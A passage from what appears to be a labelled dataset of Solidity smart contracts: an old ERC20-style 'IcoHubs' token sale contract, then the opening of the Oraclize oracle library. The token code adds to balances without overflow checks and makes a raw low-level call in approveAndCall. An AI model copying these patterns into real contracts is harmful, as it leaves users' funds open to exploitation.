event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract IcoHubs is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'H1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function IcoHubs() {
balances[msg.sender] = 10000000000000000000000000;
totalSupply = 10000000000000000000000000;
name = "Ico Hubs";
decimals = 18;
symbol = "HUBS";
unitsOneEthCanBuy = 10000000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 |
pragma solidity 0.4.25;
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) external payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) external payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) public payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) external payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) public payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) external payable returns (bytes32 _id);
function getPrice(string _datasource) public returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) public returns (uint _dsprice);
function setProofType(byte _proofType) external;
function setCustomGasPrice(uint _gasPrice) external;
function randomDS_getSessionPubKeyHash() external constant returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() public returns (address _addr);
}
library Buffer {
struct buffer {
bytes buf;
uint capacity;
}
function init(buffer memory buf, uint _capacity) internal pure {
uint capacity = _capacity;
if(capacity % 32 != 0) capacity += 32 - (capacity % 32);
buf.capacity = capacity;
assembly {
let ptr := mload(0x40)
mstore(buf, ptr)
mstore(ptr, 0)
mstore(0x40, add(ptr, capacity))
}
}
function resize(buffer memory buf, uint capacity) private pure {
bytes memory oldbuf = buf.buf;
init(buf, capacity);
append(buf, oldbuf);
}
function max(uint a, uint b) private pure returns(uint) {
if(a > b) {
return a;
}
return b;
}
function append(buffer memory buf, bytes data) internal pure returns(buffer memory) {
if(data.length + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, data.length) * 2);
}
uint dest;
uint src;
uint len = data.length;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
dest := add(add(bufptr, buflen), 32)
mstore(bufptr, add(buflen, mload(data)))
src := add(data, 32)
}
for(; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
return buf;
}
function append(buffer memory buf, uint8 data) internal pure {
if(buf.buf.length + 1 > buf.capacity) {
resize(buf, buf.capacity * 2);
}
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), 32)
mstore8(dest, data)
mstore(bufptr, add(buflen, 1))
}
}
function appendInt(buffer memory buf, uint data, uint len) internal pure returns(buffer memory) {
if(len + buf.buf.length > buf.capacity) {
resize(buf, max(buf.capacity, len) * 2);
}
uint mask = 256 ** len - 1;
assembly {
let bufptr := mload(buf)
let buflen := mload(bufptr)
let dest := add(add(bufptr, buflen), len)
mstore(dest, or(and(mload(dest), not(mask)), data))
mstore(bufptr, add(buflen, len))
}
return buf;
}
}
library CBOR {
using Buffer for Buffer.buffer;
uint8 private constant MAJOR_TYPE_INT = 0;
uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1;
uint8 private constant MAJOR_TYPE_BYTES = 2;
uint8 private constant MAJOR_TYPE_STRING = 3;
uint8 private constant MAJOR_TYPE_ARRAY = 4;
uint8 private constant MAJOR_TYPE_MAP = 5;
uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7;
function encodeType(Buffer.buffer memory buf, uint8 major, uint value) private pure {
if(value <= 23) {
buf.append(uint8((major << 5) | value));
} else if(value <= 0xFF) {
buf.append(uint8((major << 5) | 24));
buf.appendInt(value, 1);
} else if(value <= 0xFFFF) {
buf.append(uint8((major << 5) | 25));
buf.appendInt(value, 2);
} else if(value <= 0xFFFFFFFF) {
buf.append(uint8((major << 5) | 26));
buf.appendInt(value, 4);
} else if(value <= 0xFFFFFFFFFFFFFFFF) {
buf.append(uint8((major << 5) | 27));
buf.appendInt(value, 8);
}
}
function encodeIndefiniteLengthType(Buffer.buffer memory buf, uint8 major) private pure {
buf.append(uint8((major << 5) | 31));
}
function encodeUInt(Buffer.buffer memory buf, uint value) internal pure {
encodeType(buf, MAJOR_TYPE_INT, value);
}
function encodeInt(Buffer.buffer memory buf, int value) internal pure {
if(value >= 0) {
encodeType(buf, MAJOR_TYPE_INT, uint(value));
} else {
encodeType(buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - value));
}
}
function encodeBytes(Buffer.buffer memory buf, bytes value) internal pure {
encodeType(buf, MAJOR_TYPE_BYTES, value.length);
buf.append(value);
}
function encodeString(Buffer.buffer memory buf, string value) internal pure {
encodeType(buf, MAJOR_TYPE_STRING, bytes(value).length);
buf.append(bytes(value));
}
function startArray(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_ARRAY);
}
function startMap(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_MAP);
}
function endSequence(Buffer.buffer memory buf) internal pure {
encodeIndefiniteLengthType(buf, MAJOR_TYPE_CONTENT_FREE);
}
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Android = 0x40;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0))
oraclize_setNetwork(networkID_auto);
if(address(oraclize) != OAR.getAddress())
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
return oraclize_setNetwork();
networkID;
}
function oraclize_setNetwork() internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) public {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) public {
return;
myid; result; proof;
oraclize = OraclizeI(0);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0;
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) view internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal pure returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal pure returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal pure returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal pure returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal pure returns (string) {
return strConcat(_a, _b, "", "", "");
}
function parseInt(string _a) internal pure returns (uint) {
return parseInt(_a, 0);
}
function parseInt(string _a, uint _b) internal pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
using CBOR for Buffer.buffer;
function stra2cbor(string[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeString(arr[i]);
}
buf.endSequence();
return buf.buf;
}
function ba2cbor(bytes[] arr) internal pure returns (bytes) {
safeMemoryCleaner();
Buffer.buffer memory buf;
Buffer.init(buf, 1024);
buf.startArray();
for (uint i = 0; i < arr.length; i++) {
buf.encodeBytes(arr[i]);
}
buf.endSequence();
return buf.buf;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
